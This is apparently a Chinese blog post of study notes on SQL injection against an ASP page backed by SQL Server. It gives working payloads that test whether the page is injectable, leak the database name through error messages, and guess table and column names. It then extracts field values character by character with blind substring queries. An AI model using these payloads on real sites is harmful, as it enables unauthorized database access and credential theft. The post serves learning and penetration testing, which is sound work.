SQL查询学习记录

本文深入讲解了如何通过SQL注入漏洞获取数据库信息,包括判断网站是否可被注入、获取数据库名称、猜测表名、字段名及字段值的具体方法。通过实例演示了如何利用报错信息推断数据库状态,为渗透测试人员提供了实用的SQL注入技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

判断能否进行SQL注入 :

http://www.mytest.com/showdetail.asp?id=49
http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
可以注入
① ② 正常,③ 报错
不可以注入
① 正常,② ③ 报错

数据库名称

http://www.mytest.com/showdetail.asp?id=49 ;and user>0
char和int比较报错为:
将char值 ”abc” 转换数据类型为 int 的列时发生语法错误。
这样就可以通过报错获得数据库名“abc”啦~

猜表名

ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名Admin

猜字段

将Count(*)替换成Count(字段名),用同样的原理猜解字段名
字段名username

猜字段的值(Ascii逐字解码法)

1.测试长度
http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0
其中top语句用来返回要规定记录的数目。
如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

2 测试每个字符值
id=49 and (select top 1 unicode(substring(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值